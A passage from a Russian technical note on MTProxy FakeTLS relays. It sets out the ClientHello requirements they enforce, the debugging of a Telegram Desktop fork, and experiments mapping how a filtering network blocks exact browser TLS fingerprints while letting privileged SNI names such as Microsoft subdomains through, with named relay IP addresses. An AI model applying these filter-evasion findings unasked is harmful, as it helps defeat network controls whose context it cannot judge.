практически: пробу нужно каждый раз генерировать заново. Скрипт, который собрал пакет один раз и шлёт его в цикле, покажет «первый раз работает, дальше сломалось» и уведёт расследование в сторону мнимого rate-limit. Ключом кеша служат **первые 16 байт** digest, а живёт запись `MAX_CLIENT_RANDOM_CACHE_TIME = 2 * 86400`, то есть двое суток. Измерение это подтверждает с запасом: повтор через 5, 30 и 60 секунд отбивался одинаково, а свежий пакет на каждую попытку принимался всегда. ### Ещё четыре проверки, о которых легко забыть **SNI обязан совпадать с доменом из секрета.** Релей достаёт имя из расширения SNI и ищет его среди разрешённых (у официального MTProxy они задаются ключом `-D`); не нашёл — камуфляж. Изменения **одного байта** в домене при полностью пересчитанной подписи достаточно, чтобы уйти на маскировочный сайт. Домен в секрете — часть контракта, а не подсказка: клиент, который подставляет собственный SNI ради обхода DPI, теряет доступ к релею. **Первым шифром после GREASE обязан идти `13 01`, `13 02` или `13 03`.** Формулировка «в списке должен быть TLS 1.3» тут неверна и упускает главное — проверяется именно первая позиция: ```c while (cipher_suites_length >= 2 && (client_hello[pos] & 0x0F) == 0x0A && (client_hello[pos + 1] & 0x0F) == 0x0A) { cipher_suites_length -= 2; pos += 2; } if (cipher_suites_length <= 1 || client_hello[pos] != 0x13 || client_hello[pos + 1] < 0x01 || client_hello[pos + 1] > 0x03) { /* камуфляж */ } ``` Измерения на обоих релеях подтверждают каждую деталь этого фрагмента: | Что подставлено в начало списка шифров | Результат | |---|---| | GREASE, затем `1301` (эталон) | релей | | GREASE, затем `1302` или `1303` | релей | | GREASE, затем `1300`, `1304` или `13ff` | камуфляж | | GREASE, затем `c02b`, а `1301` дальше по списку | камуфляж | | Две пары GREASE подряд, затем `1302` | релей | | Без GREASE вовсе, сразу `1301` | релей | | Вместо GREASE значение `1a1b` (младшие полубайты `A` и `B`) | камуфляж | Отсюда два требования к клиенту, которые из общей формулировки не следуют. Первое: **GREASE обязан иметь форму `?A ?A`** — младший полубайт обоих байт равен `0xA`. Это проверка формы, а не таблица разрешённых значений: пара `0a 1a` из разных байтов пропускается штатно, а произвольная заглушка вроде `1a 1b` не пропускается и занимает место «первого настоящего шифра», после чего рукопожатие уходит на камуфляж. Второе: **важна именно первая позиция**, а не наличие TLS 1.3 где-то в списке. Профиль, у которого после GREASE идёт `c0 2b`, будет отвергнут, даже если `13 01` есть третьим или пятым. Практический смысл второго требования выходит за рамки отладки: оно определяет, какие браузерные почерки вообще можно эмулировать в FakeTLS. Годятся только те, где TLS 1.3 стоит в списке первым — а это ровно то, как список строят современные Chrome, Firefox и производные от них. **Сравниваются только первые 28 байт digest.** Порча одного бита внутри них — камуфляж; последние четыре байта в сравнении не участвуют, потому что несут время. Отсюда, кстати, и способ передать время, не ломая подпись. **Верхний предел длины измеряется, а не выводится.** 3517 и 4096 байт принимаются, 4097 и 5000 — уже нет, ровно как предсказывает `read_len = len <= 4096 ? len : 4096` со следующим за ним `if (len != read_len)`. Отдельно, не про клиент, но полезно при разборе чужой конфигурации: рукопожатие, пришедшее на **порт 80**, релей отправляет на камуфляж сразу, ничего не проверяя. --- ## Что установлено дальше по цепочке **Внутренний протокол — только padded intermediate.** После того как FakeTLS установлен, клиент открывает obfuscated2 и объявляет режим тегом в **байтах 56–59 инициализации**. Оба релея принимают лишь `0xdddddddd` (padded intermediate); при `0xeeeeeeee` (intermediate) и `0xefefefef` (abridged) соединение закрывается без ответа. > [!note] Одинаковые константы в двух разных местах > Те же четыре значения — `0xef…`, `0xeeeeeeee`, `0xdddddddd` и HTTP-методы — встречаются в исходнике MTProxy ещё раз, в распознавании типа **внешнего** соединения (строки 1041–1069). Читая код, эти места очень легко перепутать: они выглядят одинаково и лежат рядом. Но внешний блок целиком обёрнут в `#if __ALLOW_UNOBFS__`, а в обычной сборке этот макрос не определён, так что все четыре ветки вырезаются препроцессором и снаружи остаются только FakeTLS и obfuscated2. Измеренное требование padded intermediate относится к внутреннему слою — к тем самым байтам 56–59 внутри уже установленного FakeTLS, а не к вырезанному распознаванию. Для `ee`-секрета клиенты Telegram и должны выбирать padded intermediate, так что это не сюрприз, но проверять стоит: ошибка в выборе тега даёт ровно ту же картину «рукопожатие прошло, дальше тишина». **По resPQ нельзя проверить `dc_id`.** Байты 60–61 инициализации obfuscated2 несут номер дата-центра. Штатные значения 1–5, а вместе с ними 0, 9, −1 и −2 одинаково приводят к получению resPQ на обоих релеях — но вывод отсюда ровно один и он узкий: `req_pq_multi` не привязан к конкретному дата-центру, поэтому ответ на него приходит при любом номере. Из этого **не** следует, что релей номер игнорирует: он может приводить неизвестное значение к своему умолчанию. И дальше по цепочке номер критичен — ключ авторизации привязан к конкретному дата-центру, так что клиент с неверным `dc_id` получит resPQ и сломается на первой же настоящей сессии. Проверять корректность номера этим запросом просто нечем. **Параллельные подключения — ограничения не обнаружено.** Восемь одновременных сессий дошли до `resPQ` за 91–182 мс каждая; двадцать четыре — все успешно, суммарно 210 мс на одном релее и 517 мс на другом. Это стоит подчеркнуть, потому что клиенты нередко строят внутренний ограничитель на предпосылке «публичный MTProxy отвечает на пару рукопожатий, остальное глотает». Предпосылка верна не для всех сборок, а цена ошибки высокая: ограничитель растягивает старт, а при накоплении мнимых промахов может отложить дозвон на десятки секунд. **Камуфляж иногда виден невооружённым глазом.** Обычный HTTP-запрос на порт одного из релеев вернул ответ nginx `400 The plain HTTP request was sent to HTTPS port` — то есть за релеем стоит настоящий веб-сервер, и именно он отвечает всем неопознанным клиентам. Второй релей на такой запрос промолчал и закрыл соединение, так что признак работает не всегда. Про то, как такой фронт устраивают намеренно, — в [[Zapret/mtproto/07-nginx-haproxy|связке MTProxy с nginx и HAProxy]]. --- ## Что этот метод вскрыл в клиенте Расследование проводилось для стороннего форка Telegram Desktop с переработанным контуром MTProxy, и все четыре находки — клиентские, релеи были исправны с самого начала. **Padding до канонической длины не выполнялся.** В генераторе ClientHello добивание пакета до 517 байт оказалось привязано к флагу, который включался только при синтетическом PSK-расширении, то есть практически никогда. Для шаблонов, которые и без padding длиннее 513 байт (Chrome, Firefox, Yandex — у всех крупный постквантовый key share), это ничего не меняло. Но шаблон, имитирующий Android-библиотеку OkHttp, давал 264 байта — и релей уводил такого клиента на камуфляж, а клиент рапортовал о плохом digest. После восстановления padding пакет стал ровно 517 байт и проходит до `resPQ` на обоих релеях. **Ограничитель параллельных дозвонов исходил из непроверенной предпосылки.** В коде было зашито «релей отвечает на два рукопожатия одновременно», тогда как измерение даёт минимум 24. Такой ограничитель не ломает подключение сразу, но добавляет задержки на старте и штрафует релей за собственные же промахи клиента. Цена ошибки здесь несимметрична, и это стоит разобрать, потому что ловушка типовая. Третий дозвон и все следующие ждали освобождения слота — до целого бюджета рукопожатия; пара промахов поднимала интервал шагами по 2 с до 30 с; очередь клампилась двумя минутами; состояние было общим на весь процесс и все аккаунты. Одного неудачного старта — сон, смена сети, переезд между дата-центрами — хватало, чтобы исправный релей попал за полминуты интервала, и клиент выглядел «не подключается» минутами. Лимит, взятый из чужого наблюдения, обошёлся дороже, чем отсутствие лимита. Итог после разбора: лимит параллелизма убран целиком, остался интервал между дозвонами и штрафной интервал по фактическим промахам — начиная с четвёртого, шагами по 0,5 с, с потолком 4 с. Дальше собственный таймер переподключения сессии всё равно медленнее и берёт роль тормоза на себя, а рост сверх того только задерживает возвращение ожившего релея. Интервал между дозвонами сначала поставили в 250 мс — из соображения «приходить как отдельные клиенты, а не залпом». Позже выяснилось, что и это предположение не выдерживает проверки, и его пришлось снизить до 50 мс; разбор — в главе про задержку. **Фазовый расчёт таймаута оказался мёртвым.** Общий бюджет попытки для mtproxy складывается из фаз: гонка маршрутов (4000 + 300 × 2), одиночный маршрут (8000), ожидание ServerHello (5000), ещё один маршрут (8000) и запас 500 — итого 26 100 мс, которые затем клампятся потолком в 12 600 мс. Сумма никогда не проходит клампа, то есть весь расчёт всегда возвращает потолок. Вреда в наблюдаемых логах это не даёт (4 с на DNS плюс 8 с на маршрут укладываются в 12,6 с), но фазовая арифметика существует только на бумаге, и первое же увеличение любой фазы пройдёт незамеченным. **Успешное соединение засчитывалось как промах.** Ветка, где клиент принимает подключившийся маршрут, не дождавшись более приоритетного, не помечала аренду слота как успешную — и ограничитель воспринимал исправный релей как проблемный. Общее у всех четырёх: ни одна не следует из логов клиента напрямую, потому что в логах видно только «digest не сошёлся» или «нет ответа», а причина находится на стороне, о которой клиент ничего не знает. ### Улика, которая видна в логе Оговорка «не диагностируется по логам» верна не до конца: одна улика в логе есть, и она про то, что клиент **отправил**, а не про то, что ему пришло. **Длина ClientHello, зависящая от домена.** Канонический пакет всегда 517 байт, каким бы ни был SNI: padding домен и поглощает. Если в логе `длина − длина_SNI` даёт одну и ту же константу на разных прокси — padding не работает. В разобранном случае константа была `247` на пяти прокси подряд, и этого одного достаточно, чтобы найти баг, не подходя к серверу. ### Почему размер ответа ничего не решает Соблазн отличить релей от камуфляжа по объёму ответа возникает у всех, кто видит рабочее соединение в двести байт рядом с неудачным в четыре тысячи. Поддаваться не стоит: измерения на двух релеях разваливают критерий сразу в обе стороны. Релей А на валидное рукопожатие отвечает 3381 байтом, а на короткое — 184; релей Б отвечает 196 байтами в обоих случаях, побайтово одинаково. Причина в самом релее, и она видна в коде. Принимая клиента, он собирает ServerHello сам и заполняет первую запись данных случайными байтами, длину которых берёт под маскируемый домен — `RAND_bytes(response_buffer + pos, encrypted_size)`, где `encrypted_size` приходит из `get_domain_server_hello_encrypted_size(info)`, то есть из величины, измеренной у домена при старте. За тяжёлым `www.microsoft.com` ответ тяжёлый, за лёгким `*.sslip.io` — лёгкий. Отвергая клиента, релей проксирует соединение на настоящий адрес домена, и объём определяет уже тот сервер. Есть и вторая причина, не зависящая от домена вовсе. Если зондирование домена при старте не удалось, размер берётся случайным из фиксированного диапазона: `info->server_hello_encrypted_size = 2500 + rand() % 1120`, то есть от 2500 до 3619 байт. Замеренные 3381 у релея А ложатся ровно в него. Иными словами, штатный ответ исправного релея бывает трёхкилобайтным просто потому, что маскируемый домен в тот момент не отозвался, — и размерный критерий хоронит не только измерение, но и константа в исходнике. Вдобавок наблюдаемая величина — не «ответ» целиком, а первая запись application data: разбор фиксированного шаблона FakeTLS доходит ровно до её конца. Настоящий сервер TLS 1.3 кладёт туда EncryptedExtensions, а сертификат отправляет следующей записью, которую клиент к этому моменту ещё не читал. Отсюда и 46 байт там, где ожидался килобайт. Совпадение «двести против тысяч» в первых логах было свойством конкретных площадок, а не признаком. > [!warning] 122 байта ServerHello не доказывают ничего > Размер тела ServerHello, равный 122, встречается и у релея, и у настоящего сервера, поэтому по нему нельзя судить, кто ответил. Это естественная длина ответа TLS 1.3 с ключом x25519: 2 байта версии + 32 случайных + 33 на эхо session_id + 2 на шифр + 1 на сжатие + 2 на длину расширений + 6 на supported_versions + 40 на key_share = 118, плюс четыре байта заголовка handshake. MTProxy зашивает `\x16\x03\x03\x00\x7a\x02\x00\x00\x76\x03\x03` именно потому, что так выглядит любой современный сервер. ### Различать причины по ответу нельзя, по своему же пакету — можно Раз объём ответа не голосует, а подпись при отказе не сходится в обоих случаях, единственный детерминированный признак лежит в том, что клиент отправил сам. Хелло, нарушивший контракт — короче 517 байт, длиннее 4096, с не-TLS 1.3 шифром первым после GREASE или с SNI, отличным от домена в секрете, — до разбора рукопожатия не доходит, и расхождение подписи в этом случае принадлежит клиенту, а не секрету. Хелло, контракту удовлетворяющий, оставляет ровно одну причину — секрет. Отсюда практическое правило для авторов клиентов: **проверку контракта делать перед отправкой, а код ошибки выбирать по её вердикту**, а не по тому, что пришло в ответ. Заодно это единственный способ превратить бесполезное «bad Server Hello digest» в конкретную причину, названную в тот момент, когда она возникла. ### Контракт, который клиент может проверить сам Всё, что релей требует от первого пакета, проверяется до отправки, и это дешевле любой внешней пробы. Длина обязана лежать в границах от 517 до 4096 байт. Заявленные длины обязаны сходиться с фактической: длина TLS-записи равна размеру пакета минус пять, длина handshake — минус девять, а блок расширений обязан упираться ровно в конец пакета. Последнее стоит проверять именно обходом: парсер, который просто читает расширения подряд и выходит, когда осталось меньше четырёх байт, пропустит хвост в один-три байта внутри объявленного блока — то есть ровно ту ошибку в арифметике вложенных длин, ради которой проверка и нужна. Первый набор шифров после отброшенных GREASE обязан быть одним из `1301`, `1302`, `1303`, причём GREASE отбрасывается по форме — младший полубайт `0x0A` в обоих байтах, — а не по таблице значений, так что заглушка другой формы займёт место первого настоящего набора и провалит проверку. SNI обязан байт в байт совпадать с доменом из секрета. Проверку стоит делать предупреждающей, а не запрещающей: релей с другим набором требований всё равно заслуживает попытки, а ценность проверки в том, что причина называется в момент своего возникновения, а не через вечность в виде неподписанного ServerHello. --- ## Чек-лист требований к клиенту - [ ] ClientHello не короче 517 байт — при необходимости добить расширением padding. - [ ] ClientHello не длиннее 4096 байт. - [ ] SNI берётся из секрета и не подменяется. - [ ] `session_id` ровно 32 байта. Измерено: hello с 31 и с 30 байтами релей отправляет на камуфляж (ответ приходит, digest чужой) — он читает пакет по смещению, рассчитанному на 32 байта, как у любого настоящего браузера. - [ ] Первым шифром после GREASE идёт `13 01`, `13 02` или `13 03` — не «где-то в списке», а именно первым. - [ ] GREASE в списке шифров имеет форму `?A ?A`; произвольные заглушки релей за GREASE не считает. - [ ] Digest считается по всему пакету с занулённым полем и кладётся на позицию 11. - [ ] В последние четыре байта digest подмешано время; часы не должны спешить (запас всего 3 секунды) и желательно не отставать больше десяти минут. - [ ] Соблазн вычесть из метки запас в полминуты «раз в прошлое можно на десять минут» — не следовать ему: асимметрия окна есть только у официального MTProxy, а у mtg допуск по умолчанию симметричный и равен трём секундам, так что такой сдвиг сломает mtg-релеи полностью. - [ ] Каждое новое соединение — новое рукопожатие; повторная отправка того же пакета недопустима. - [ ] Ничего не досылается поверх ClientHello, пока не пришёл ServerHello. - [ ] Подпись ответа проверяется по всем четырём его частям сразу — хвост из случайных байт входит в неё, и его длина ничего не значит. - [ ] Внутри — padded intermediate (`0xdddddddd`). - [ ] Лимит параллельных дозвонов, если он вообще нужен, измеряется на своих релеях, а не берётся из чужих наблюдений. --- ## Чем отличаются другие реализации Всё измеренное выше объясняется кодом официального MTProxy, но парк релеев неоднороден: vpnbot, например, умеет ставить три разные сборки. Различия, которые видно прямо в исходниках: | Что | Официальный MTProxy | telemt | mtg | |---|---|---|---| | Минимальная длина ClientHello | 517 — через условие «старший байт длины записи ≥ 2» | `MIN_TLS_CLIENT_HELLO_SIZE = 100`, и собственный тест закрепляет диапазон `> 64` и `< 512` | явного порога в разборе нет: `client_side.go` читает структуру и проверяет её, а не длину | | Будущее в метке времени | не дальше `now + 3` | `TIME_SKEW_MAX = +120 с` | `DefaultTolerateTimeSkewness = 3 с` | | Прошлое в метке времени | до старейшей записи кеша, при пустом кеше — 10 минут | `TIME_SKEW_MIN = −120 с` | те же 3 с — проверка через `.Abs()`, окно симметрично | | Защита от повторов | 16 байт client random, кеш 2 суток | первые 16 байт digest, окно настраивается | есть | | Сравнение digest | первые 28 байт | первые 28 байт | первые 28 байт | Отдельная деталь telemt, которой нет у остальных: метка, меньшая `BOOT_TIME_MAX_SECS`, трактуется как время с момента загрузки, а не как unix-время, и проверку перекоса тогда обходит — с потолком `BOOT_TIME_COMPAT_MAX_SECS = 120 с` и настроенного окна повторов. Это совместимость с клиентами, которые кладут в метку аптайм; полагаться на неё нельзя, но при разборе чужого поведения о ней стоит помнить. Практический вывод: **писать клиент нужно по самому строгому контракту**. Рукопожатие в 517 байт с меткой, отличающейся от истинного времени не больше чем на три секунды, примут все три реализации; рукопожатие в 300 байт или с меткой минутной давности пройдёт только там, где проверки мягче, — и именно такой клиент будет «случайно» работать у одних пользователей и не работать у других. --- ## Симптом «первые соединения проходят, дальше тишина» и чем он оказался Самый дорогой разбор за всю историю этой заметки: пять правдоподобных объяснений подряд, каждое отвергнуто измерением, и только шестое попадание. Записываю целиком — и находку, и все пять промахов, потому что промахи здесь полезнее находки. Симптом в логе клиента: на каждом релее **первые три-четыре соединения проходят целиком** (`server_hello_ok`, ключ создан, первый mtproto-пакет получен), а все последующие получают ровно ноль байт в ответ и умирают по пятисекундному таймауту — `rx_after_ch=0`, `rx_class=zero`, `close_origin=local_timeout`. Локально пакет уходит полностью (`ch_accepted == ch_bytes`). Повторяется на трёх разных релеях подряд. Со временем становится хуже: к вечеру не проходит уже ни одно соединение. ### Причина: сеть отвергает конкретный отпечаток клиента Клиент умеет шесть профилей ClientHello. Проба, которая строит **байты этих же шести профилей** из правил самого клиента и посылает их одному релею, дала на фильтрованной сети такое (двенадцать попыток на профиль, три прогона по четыре): | профиль | фильтрованная сеть | чистая сеть | |---|---|---| | firefox | 12 / 12 | 6 / 6 | | firefox_android | 12 / 12 | 6 / 6 | | android_okhttp | 12 / 12 | 6 / 6 | | yandex | 12 / 12 | 6 / 6 | | **chrome_modern** | **3 / 12** | 6 / 6 | | **android_chrome** | **3 / 12** | 6 / 6 | Один релей, один секрет, одни минуты, одна машина. Клиент по умолчанию посылал `chrome_modern` — то есть ровно тот отпечаток, который эта сеть не пропускает. Отсюда и «у нас все прокси не работают»: на такой сети клиент не мог поднять ни одного соединения ни к одному релею, пока Python с той же машины в ту же минуту получал `ServerHello` за 8–10 мс. Три успеха из двенадцати — не случайность, а форма отказа: **блокировка включается после первых одного-двух соединений с этим отпечатком и дальше держится**. В прогоне по раундам видно прямо: раунды 1–2 проходят, с третьего тишина до конца. Это же и объясняет исходное «первые три-четыре соединения работают, дальше ноль» — и объясняет, почему симптом усиливался к вечеру. ### Пять гипотез, отвергнутых измерением Все пять выглядели убедительно, и каждая казалась «той самой». Порядок — как их проверяли: 1. **Размер пакета.** Проба шлёт 517 байт (один TCP-сегмент), клиент 1718–1823 (гарантированно два). Тридцать пар структурно идентичных hello, где растут все declared lengths и padding, так что меняется только длина: **60 из 60** получили `ServerHello` с верным digest, времена одинаковые. 2. **Незафлашенная запись.** `QTcpSocket::write()` только ставит байты в очередь, а клиент сразу запускает пятисекундный отсчёт; фрагментированный путь делал `flush()`, обычный — нет. Отвергнуто дважды: по 21 отказу интервал до таймаута равен 4.999–5.012 с, то есть event loop того же потока жив; и замолчали **уже установленные** соединения, где данные до этого шли в обе стороны. Незафлашенный hello ни того, ни другого объяснить не может. 3. **Пост-квантовый key_share (ML-KEM).** Отвергнуто составом: блок `M()` на 1216 байт несут три из четырёх проходящих профилей. 4. **Порядок расширений.** Chromium перемешивает расширения на каждом hello, и оба отвергнутых профиля — единственные, кто это делает. Контролируемый опыт: один профиль, две руки, различие только в порядке, длина внутри пары совпадает побайтово. Результат: `chrome_modern` молчит **и** упорядоченный (2 из 6 в первом прогоне, 1 из 6 во втором), `yandex` проходит **и** перемешанный (6 из 6 в обоих). Опыт повторён дважды с тем же выводом: порядок ни при чём. 5. **JA4.** Отвергнуто вычислением: у проходящего `yandex` и у отвергаемого `chrome_modern` JA4 **совпадает буква в букву** — `t13d1514h2_8daaf6152771_d8a2da3f94cd`, и он же у настоящего Яндекс.Браузера. JA4 сортирует расширения и выбрасывает GREASE, поэтому всё, чем эти два шаблона различаются, для него невидимо. ### Один байт переворачивает результат в обе стороны Порядок расширений опровергнут тем же прогоном, который проверил следующее подозрение — единственное измеренное различие двух шаблонов: у `chrome_modern` одно GREASE-расширение несёт один нулевой байт, у `yandex` оба пустые. Две дополнительные руки к тому же опыту, всё остальное неизменно: | рука | размер | фильтрованная сеть | |---|---|---| | `chrome_modern` как есть | 1718 | 1 / 6 | | `chrome_modern`, тело GREASE опустошено | 1717 | **6 / 6** | | `yandex` как есть | 1717 | 6 / 6 | | `yandex`, в GREASE положен тот же байт | 1718 | **1 / 6** | Инверсия работает в обе стороны: отбираешь байт — отвергнутый шаблон начинает проходить; добавляешь байт — проходящий начинает молчать. Одна переменная, четыре руки, раунды по кругу. ### Настоящий браузер эта сеть тоже отвергает Дамп Яндекс.Браузера, снятый на той же машине, с единственными изменениями «SNI на домен релея» и «digest в поле random» — то есть все шифры, все расширения, все длины и все GREASE-значения браузерные: | что послано | размер | фильтрованная сеть | |---|---|---| | настоящие байты Яндекс.Браузера | 1814 | **1 / 6** | | наш шаблон `yandex` | 1717 | 6 / 6 | | наш `chrome_modern` (контроль) | 1718 | 2 / 6 | Это снимает предыдущее возражение, а не подтверждает его: в дампе GREASE-расширение `6a6a` несёт ровно один нулевой байт — то же, что у `chrome_modern`. То есть браузер отвергается **вместе со** своим байтом, а наша копия проходит **без** него, и обе картины согласуются. Отсюда важный вывод, независимый от механизма: эта сеть **режет подлинный браузерный ClientHello и пропускает нашу подделку**. Значит фильтр не занят поиском «не-браузера», и вся рамка «сделать отпечаток похожим на настоящий браузер» — неверная. Похожесть тут не помогает, а мешает. ### Селектор — не одно поле, а точное совпадение Тринадцать рук, размеры выровнены до байта там, где это нужно, чередование по раундам, один релей. На чистой сети — 13 из 13 в каждом раунде; на фильтрованной отвергнуты ровно три: | рука | размер | ECH payload | последнее расширение | фильтр. сеть | |---|---|---|---|---| | `chrome_modern` как есть | 1718 | 144 | GREASE, тело `00` | **1 / 6** | | `yandex` + тот же байт | 1718 | 144 | GREASE, тело `00` | **1 / 6** | | настоящий Яндекс.Браузер | 1814 | 240 | GREASE, тело `00` | **1 / 6** | | `chrome_modern`, тело опустошено, размер выровнен | 1718 | 145 | GREASE, пусто | 6 / 6 | | `yandex` + байт, размер выровнен | 1717 | 143 | GREASE, тело `00` | 6 / 6 | | `chrome_modern`, тело 8 байт | 1718 | 137 | GREASE, тело 8×`00` | 6 / 6 | | `chrome_modern`, байт в **первом** GREASE | 1718 | 144 | GREASE, пусто | 6 / 6 | | `chrome_modern`, байт `ff` вместо `00` | 1718 | 144 | GREASE, тело `ff` | 6 / 6 | | `chrome_modern`, оба GREASE удалены | 1718 | 153 | не GREASE | 6 / 6 | | дамп браузера с опустошённым GREASE | 1813 | 240 | GREASE, пусто | 6 / 6 | | `yandex` как есть | 1717 | 144 | GREASE, пусто | 6 / 6 | Три сравнения в этой таблице меняют **ровно одну** переменную: - **значение байта.** `ff` вместо `00`, длина и ECH те же — блок исчезает. - **позиция байта.** Тот же байт в первом GREASE-расширении, последнее пустое, длина и ECH те же — блок исчезает. - **длина ECH payload.** Тело GREASE одинаковое, 144 против 143 — блок исчезает. Значит правило — **конъюнкция**: hello отвергается, только когда все признаки одновременно в «браузерном» виде. Сломай любой — проходит. Это не эвристика «похоже на прокси», а сверка с эталоном. Соответствие правилам клиента точное — и оно же показывает, что хвоста самого по себе недостаточно: | профиль | ECH payload | ML-KEM | ALPS | хвост `G(3); S("00 01 00")` | фильтр. сеть | |---|---|---|---|---|---| | `firefox`, `firefox_android` | нет | да | нет | нет | 12 / 12 | | `android_okhttp` | нет | нет | нет | **да** | 12 / 12 | | `yandex` | да | да | да | нет (`S("00 00")`) | 12 / 12 | | `chrome_modern`, `android_chrome` | да | да | да | **да** | **3 / 12** | `android_okhttp` — контрпример, без которого правило звучало бы как «дело в хвосте»: тот же байт, и 12 из 12. Отвергаются ровно те два профиля, у которых хвост стоит **внутри** полного Chromium-набора. ECH payload клиент берёт из набора `{144, 176, 208, 240}` (`client_hello_builder.cpp`), и все проверенные длины этого набора отвергаются одинаково. ### Проверка конъюнкции: тринадцать рук, две сети Отдельный прогон против той же цели, где все руки сохраняют отвергаемую форму хвоста и меняют по одной длине. На чистой сети — 13 из 13; на фильтрованной: | рука | размер | чётность | ECH payload | фильтр. сеть | |---|---|---|---|---| | `chrome_modern` как есть | 1718 | чёт | 144 (в наборе) | **1 / 4** | | ECH payload 176 | 1750 | чёт | 176 (в наборе) | **1 / 4** | | ECH payload 240, как у браузера | 1814 | чёт | 240 (в наборе) | **1 / 4** | | настоящие байты Яндекс.Браузера | 1814 | чёт | 240 | **0 / 4** | | ECH payload 142 | 1716 | **чёт** | 142 (вне набора) | 4 / 4 | | ECH payload 143 | 1717 | нечёт | 143 (вне набора) | 4 / 4 | | + padding-расширение 1 байт перед последним | 1723 | нечёт | 144 | 4 / 4 | | + padding-расширение 2 байта перед последним | 1724 | чёт | 144 | 4 / 4 | | то же расширение в начале списка (1 и 2 байта) | 1723 / 1724 | нечёт / чёт | 144 | 4 / 4 | | поле `enc` внутри ECH: 31 и 30 байт вместо 32 | 1717 / 1716 | нечёт / чёт | 144 | 4 / 4 | | `yandex` как есть | 1717 | нечёт | 144 | 4 / 4 | Что из этого следует: - **Чётность общей длины опровергнута напрямую.** Рука с ECH 142 даёт 1716 байт — чётное, — и проходит, тогда как отвергаются 1718, 1750 и 1814, тоже чётные. - **Правило покрывает весь набор ECH-длин клиента.** 144, 176 и 240 отвергаются одинаково, значит случайный выбор длины на каждое hello клиента не спасал никогда. - **Любая правка выводит из-под подписи.** Лишнее расширение в два байта, где угодно в списке; байт, срезанный с `enc` внутри ECH; смена длины ECH payload — каждой хватает. - **Точное совпадение отвергают жёстче.** Настоящий браузер получил 0 из 4 и был отвергнут уже в первом раунде, тогда как наши шаблоны первый раунд проходят и замолкают со второго. ### Правило не про адрес: четыре релея, один порядок Тот же опыт — девять рук одинаковой длины, где меняется по одному полю, — прогнан против четырёх разных релеев с проблемной машины. Отвергаемая форма это `chrome_modern` как есть, контроль-позитив `yandex`, контроль на чужих байтах — дамп браузера. | релей | порт | `chrome_modern` | восемь правок по одному полю | `yandex` | дамп браузера | |---|---|---|---|---|---| | 159.194.198.73 | 443 | **2 / 4** | 4 / 4 каждая | 4 / 4 | **1 / 4** | | 155.212.137.130 | **45633** | **2 / 4** | 4 / 4 каждая | 4 / 4 | **1 / 4** | | 82.26.171.54 | 442 | **3 / 4** | 4 / 4 каждая | 4 / 4 | **3 / 4** | | 194.39.110.183 | 443 | 0 | 0 | **0** | 0 | Что из этого следует: - **Правило читает содержимое, а не адрес.** Одинаковая картина на двух разных IP, причём на втором — нестандартный порт 45633. Ни порт 443, ни конкретный адрес тут ни при чём. - **Любое отклонение снимает блокировку.** Порядок ALPN; `h3` вместо `h2` в ALPS; переименованная группа пост-квантового key_share; переименованный x25519; порядок двух последних шифров; порядок в `supported_versions`; номер расширения `0017` → `0018`; номер `0023` → `0024`. Каждая рука той же длины, что контроль, и каждая проходит четыре раза из четырёх на всех релеях. - **Блокировка накопительная, и порог разный.** На 159.194.198.73 сначала замолкает дамп браузера (со второго раунда), затем `chrome_modern` (с третьего). На 82.26.171.54 обе эталонные руки проходят три раунда и замолкают в четвёртом — **одновременно**. Синхронность указывает на общее состояние для эталонных hello к этому адресу, а не на отдельный счётчик у каждого отпечатка. Порог зависит от маршрута. - **Порог не связан с повторением как таковым.** Правленые руки повторяются столько же раз, что и контроль, и не блокируются никогда. Значит считается не «часто встречающийся отпечаток», а именно совпадение с эталоном. - **Четвёртый релей — другой случай.** Там молчит всё, включая `yandex` и не-TLS мусор, а с чистой сети этот же релей отвечает 11 из 11. Это блокировка адреса или маскируемого домена (`www.apple.com`), отдельный слой, к отпечатку отношения не имеющий. > [!note] Как это формулировать точно > «Правка поля X снимает блокировку» — измерено. «Фильтр читает поле X» — уже интерпретация: из данных следует лишь, что hello перестал совпадать с эталоном, а какие поля входят в сравнение и с каким весом, отсюда не выводится. На практике разницы нет — лечится любой правкой, — но в выводах это разные утверждения. ### Привилегированное имя в SNI отключает фильтр отпечатка Самый практичный результат за всё расследование, и он получен одной переменной на одном адресе. На релее, где отпечаток режется прямо в эти минуты (проверено `test10` непосредственно перед: `chrome_modern` 2/4, дамп браузера 1/4), посланы четыре руки по кругу: | рука | размер | фильтр. сеть | |---|---|---| | отвергаемый отпечаток + имя из секрета (`espn.com`) | 1718 | **0 / 4** | | **тот же отпечаток** + `update.microsoft.com` | 1730 | **4 / 4** | | проходящий отпечаток + `espn.com` (контроль) | 1717 | 4 / 4, HMAC сходится | | проходящий отпечаток + `update.microsoft.com` | 1729 | 4 / 4 | Один адрес, один порт, одни минуты, те же байты hello — меняется только имя, и вердикт переворачивается. Значит **фильтр отпечатка применяется избирательно, по имени в SNI**: привилегированное имя выводит hello из правила целиком. Собирается связная трёхслойная картина, объясняющая все наблюдения: 1. **Блокировка по имени.** Некоторые имена к некоторым адресам не пропускаются вовсе — там молчит всё, включая проходящий профиль (случай `www.apple.com`). 2. **Белый список имён.** Поддомены `microsoft.com` пропускаются всегда, независимо от отпечатка. `login.microsoftonline.com` в список не входит — он ведётся по домену второго уровня. 3. **Фильтр отпечатка** — только для имён, не попавших ни в один список: точное совпадение с эталонными браузерными hello режется, неточная копия проходит. > [!tip] Что это значит для настройки релея > Маскируемый домен важнее любой работы с отпечатком. Ключ, выпущенный на привилегированное имя, проходит с **любым** отпечатком, включая побайтовый дамп настоящего браузера, который иначе режется. Правка в клиенте (`yandex` по умолчанию) остаётся нужной — клиент не выбирает домен, он приходит из секрета, — но для своих релеев дешевле поставить правильное имя, чем подбирать отпечаток. Методологически здесь важен критерий: **«пришёл ли хоть какой-то ответ»**, а не «сошёлся ли HMAC». Релей проверяет SNI и отправляет чужое имя в камуфляж, поэтому по HMAC руки 2 и 4 «неуспешны» всегда — и эксперимент был бы невозможен. Ответ камуфляжа означает ровно то, что нужно измерить: пакет прошёл сеть. ### Заблокированный адрес с белым списком по имени Четвёртый релей из таблицы выше молчал на всё — но не потому, что недоступен. Не-TLS мусор в 1700 байт получил в ответ `HTTP/1.1 …`, то есть адрес отвечает. Перебор четырнадцати маскируемых имён к тому же адресу и порту (hello один и тот же, меняется только имя в SNI; критерий — пришёл ли хоть какой-то ответ, потому что digest для чужого имени и не должен сойтись): | имя в SNI | ответ | |---|---| | `update.microsoft.com` | **3 / 3** | | `azure.microsoft.com` | **3 / 3** | | `www.microsoft.com` | **2 / 3** | | `login.microsoftonline.com` | 0 / 3 | | `www.apple.com` (имя из секрета) | 0 / 3 | | `www.icloud.com`, `ya.ru`, `yandex.ru`, 